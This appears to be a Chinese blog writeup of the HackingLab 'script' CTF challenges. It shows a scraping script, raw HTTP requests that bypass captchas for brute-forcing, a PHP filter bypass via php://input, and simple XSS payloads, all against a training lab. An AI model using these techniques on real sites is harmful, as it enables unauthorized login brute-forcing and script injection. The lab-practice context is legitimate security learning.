MENU

HackingLab 脚本关 writeup

June 28, 2016 • Read: 7944 • CTF

HackingLab脚本关部分题目还是有点难度的。

0x01 key又又找不到了

小明这次哭了,key又找不到了!!! key啊,你究竟藏到了哪里,为什么我看到的页面上都没有啊!!!!!!
通关地址

点这个链接,跳转到了另一个没有key的页面,抓包看看,注意截断response包,拿到key。

<script>window.location="./no_key_is_here_forever.php"; </script>
key is : yougotit_script_now

0x02 快速口算

小明要参加一个高技能比赛,要求每个人都要能够快速口算四则运算,2秒钟之内就能够得到结果,但是小明就是一个小学生没有经过特殊的培训,那小明能否通过快速口算测验呢?
通关地址

这道题需要用脚本抓取随机的算式计算出结果然后提交,坑的是有一个验证用户的地方折腾了好一阵子,最后用了requests库的session解决了。

# coding=utf-8
import requests, re, sys
reload(sys)
sys.setdefaultencoding('utf-8')

url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
req = requests.session()
get = req.get(url)
r = re.findall(r'<br/>[\d|\D](.*?)=<', get.content)[0].strip()
print eval(r)
post = req.post(url, data={'v': eval(r)})
key = re.findall(r'<body>(.*?)</', post.content)[0].strip()
print key

pythoneval真是神器啊。

0x03 这个题目是空的

Tips:这个题目真不是随便设置的。 什么才是空的呢? 通关地址:没有,请直接提交答案(小写即可)

这题就出的挺无聊的,为空的值挨个试试,最后答案是null

0x04 怎么就是不弹出key呢?

提交说明:提交前14个字符即可过关
通关地址

查看源码发现一大堆js代码,把alertdocument.writeprompt这些函数都变成了return false,所以才说没法弹出key。

直接用浏览器的console就可以搞定了,稍稍改下以便于提交。

var a=function ()
{
    var b=function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('1s(1e(p,a,c,k,e,r){e=1e(c){1d(c<a?\'\':e(1p(c/a)))+((c=c%a)>1q?1f.1j(c+1k):c.1n(1o))};1g(!\'\'.1h(/^/,1f)){1i(c--)r[e(c)]=k[c]||e(c);k=[1e(e){1d r[e]}];e=1e(){1d\'\\\\w+\'};c=1};1i(c--)1g(k[c])p=p.1h(1l 1m(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);1d p}(\'Y(R(p,a,c,k,e,r){e=R(c){S(c<a?\\\'\\\':e(18(c/a)))+((c=c%a)>17?T.16(c+15):c.12(13))};U(!\\\'\\\'.V(/^/,T)){W(c--)r[e(c)]=k[c]||e(c);k=[R(e){S r[e]}];e=R(){S\\\'\\\\\\\\w+\\\'};c=1};W(c--)U(k[c])p=p.V(Z 11(\\\'\\\\\\\\b\\\'+e(c)+\\\'\\\\\\\\b\\\',\\\'g\\\'),k[c]);S p}(\\\'G(B(p,a,c,k,e,r){e=B(c){A c.L(a)};E(!\\\\\\\'\\\\\\\'.C(/^/,F)){D(c--)r[e(c)]=k[c]||e(c);k=[B(e){A r[e]}];e=B(){A\\\\\\\'\\\\\\\\\\\\\\\\w+\\\\\\\'};c=1};D(c--)E(k[c])p=p.C(I J(\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\'+e(c)+\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\',\\\\\\\'g\\\\\\\'),k[c]);A p}(\\\\\\\'t(h(p,a,c,k,e,r){e=o;n(!\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\'.m(/^/,o)){l(c--)r[c]=k[c]||c;k=[h(e){f r[e]}];e=h(){f\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\w+\\\\\\\\\\\\\\\'};c=1};l(c--)n(k[c])p=p.m(q s(\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\b\\\\\\\\\\\\\\\'+e(c)+\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\b\\\\\\\\\\\\\\\',\\\\\\\\\\\\\\\'g\\\\\\\\\\\\\\\'),k[c]);f p}(\\\\\\\\\\\\\\\'1 3="6";1 4="7";1 5="";8(1 2=0;2<9;2++){5+=3+4}\\\\\\\\\\\\\\\',j,j,\\\\\\\\\\\\\\\'|u|i|b|c|d|v|x|y|j\\\\\\\\\\\\\\\'.z(\\\\\\\\\\\\\\\'|\\\\\\\\\\\\\\\'),0,{}))\\\\\\\',H,H,\\\\\\\'|||||||||||||||A||B||M||D|C|E|F||I||J|G|N|O||P|Q|K\\\\\\\'.K(\\\\\\\'|\\\\\\\'),0,{}))\\\',X,X,\\\'||||||||||||||||||||||||||||||||||||S|R|V|W|U|T|Y|13|Z|11|14|12|10|19|1a|1b|1c\\\'.14(\\\'|\\\'),0,{}))\',1t,1u,\'|||||||||||||||||||||||||||||||||||||||||||||||||||||1e|1d|1f|1g|1h|1i|1v|1s|1l||1m|1n|1o|1r|1k|1j|1q|1p|1w|1x|1y|1z\'.1r(\'|\'),0,{}))',62,98,'|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||return|function|String|if|replace|while|fromCharCode|29|new|RegExp|toString|36|parseInt|35|split|eval|62|75|53|var|slakfj|teslkjsdflk|for'.split('|'),0,{});
    var d=eval(b);
    console.log("key is first 14 chars\n"+d.substr(0,14));
}
key is first 14 chars
slakfjteslkjsd

0x05 逗比验证码第一期

逗比的验证码,有没有难道不一样吗?
通关地址

验证码使用过后不过期,直接爆破即可。

Payload: 1238
key is LJLJL789sdf#@sd

0x06 逗比验证码第二期

验证便失效的验证码
通关地址

这次变高级了一点,验证一次过后就会失效,但是可以在失效后把包里的验证码删掉再发包,服务端就不再验证验证码的内容了。

POST /vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php HTTP/1.1
Host: lab1.xseclab.com
Content-Length: 43
Cache-Control: max-age=0
Origin: http://lab1.xseclab.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
DNT: 1
Referer: http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-GB;q=0.6,en;q=0.4
Cookie: PHPSESSID=c289201fc36523dabee2b3a30846c08f
Connection: close

username=admin&pwd=123&vcode=&submit=submit

这样就可以爆破了。

Payload: 1228
key is LJLJL789ss33fasvxcvsdf#@sd

0x07 逗比的验证码第三期(SESSION)

尼玛,验证码怎么可以这样逗比。。验证码做成这样,你家里人知道吗?
通关地址

加入了session验证,把cookies的内容删掉就好。

POST /vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php HTTP/1.1
Host: lab1.xseclab.com
Content-Length: 43
Cache-Control: max-age=0
Origin: http://lab1.xseclab.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
DNT: 1
Referer: http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-GB;q=0.6,en;q=0.4
Cookie: PHPSESSID=
Connection: close

username=admin&pwd=123&vcode=&submit=submit
Payload: 1298
key is LJLJLfuckvcodesdf#@sd

0x08 微笑一下就能过关了

尼玛,碰到这样的题我能笑得出来嘛...
通关地址

这题还有点难度(代码审计的我都不怎么会。。。),可以看到源码。

<?php  
    header("Content-type: text/html; charset=utf-8");
    if (isset($_GET['view-source'])) {
        show_source(__FILE__);
        exit();
    }

    include('flag.php');

    $smile = 1;  

    if (!isset ($_GET['^_^'])) $smile = 0;  
    if (preg_match ('/\./', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/%/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/http/', $_GET['^_^']) ) $smile = 0;  
    if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0;  
    if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0;
    if ($smile) {
        if (@file_exists ($_GET['^_^'])) $smile = 0;  
    }  
    if ($smile) {
        $smile = @file_get_contents ($_GET['^_^']);  
        if ($smile === "(●'◡'●)") die($flag);  
    }  
?>

自己搭个环境挨个echo一下,慢慢调,可以看出主要考察了三个地方,第一个是$_SERVER['QUERY_STRING'],此处^_^不合法;第二个是那一串匹配和@file_get_contents,用伪协议可以绕过;第三处是笑脸的编码,这个地方最坑。。。被网上的各种转码坑惨了。。。

第一处绕过是利用PHP的一个特性,.[]等符号作为key提交时会被转为_,而$_SERVER['QUERY_STRING']直接提取URL则不会转。

第三处各种编码都不行,实在搞不定,用Python自己搞(用Linux下的),果然网上的编码转换都有bug!正确的URL编码应该是%28%E2%97%8F%27%E2%97%A1%27%E2%97%8F%29

# coding=utf-8
import urllib, sys
reload(sys)
sys.setdefaultencoding('utf-8')
print urllib.quote("(●'◡'●)")
http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?^.^=php://input
POST提交如下字符串的URL解码(●'◡'●)
%28%E2%97%8F%27%E2%97%A1%27%E2%97%8F%29

0x09 逗比的手机验证码

你的手机号码是13388886666,验证码将会以弹窗的形式给出
通关地址

顺着他的意思来就行了。

key is LJLJLGod!@@sd

0x0A 基情燃烧的岁月

Tips:你是一名黑客,你怀疑你的“(男/女)闺蜜”的出轨了,你要登陆TA手机的网上营业厅查看详单,一探究竟! 闺蜜手机号码:13388886666
通关地址

看不到验证码了,爆破,第一轮出来一个手机号,改掉后再爆破,出来key。

前任的手机号码是:13399999999
key is LKK8*(!@@sd

0x0B 验证码识别

Tips:验证码依然是3位数
通关地址

这次要图像识别了,上神器,pkav的http fuzzer,图像识别那里加上自己的cookies,注意选单线程,多线程会出现验证码失效的情况。

key is 133dbc85dda4aa**)

0x0C XSS基础关

XSS基础:很容易就可以过关.XSS类题目必须在平台登录才能进行.登录地址请参考左侧<子系统>
通关地址

用最简单的payload就可以,不过不能用chrome浏览器,好像会过滤掉,用firefox即可。

<script>alert(HackingLab)</script>
key is: myxssteststart!

0x0D XSS基础2:简单绕过

很容易就可以过关.
通关地址
<img src=1 onerror=alert(HackingLab)>
key is: xss2test2you

其实也可以burp抓返回包,直接用上一题的payload弹,一样有key。

0x0E XSS基础3:检测与构造

Tips:不是很难
通关地址

还是用burp抓包,不过<script>用不了,用<img>就行了。

xss3test2youOK_striptag

0x0F Principle很重要的XSS

原理/原则/理念很重要.....不是所有的xss都叫特仑苏..
Take it easy!
通关地址

和上一题一样。。。可能是我不太懂出题人的意思?

key is: xss4isnoteasy
Last Modified: February 14, 2017
Archives QR Code
QR Code for this page
Tipping QR Code
Leave a Comment

5 Comments
  1. huasir huasir

    请问 Principle 很重要的 XSS 这道题你的payload确定对吗?我怎么不行

    1. @huasir可能题目变了?

    2. 鱼

      @40huo那请问这道题现在怎么做……我解不开

  2. Vi Vi

    请问一下0x08是怎么实现url解码以后得到(●'◡'●),我自己不管怎么样得到的都是(●'◡'●)。望解答,感谢。

    1. @Vi不就是弄成笑脸么?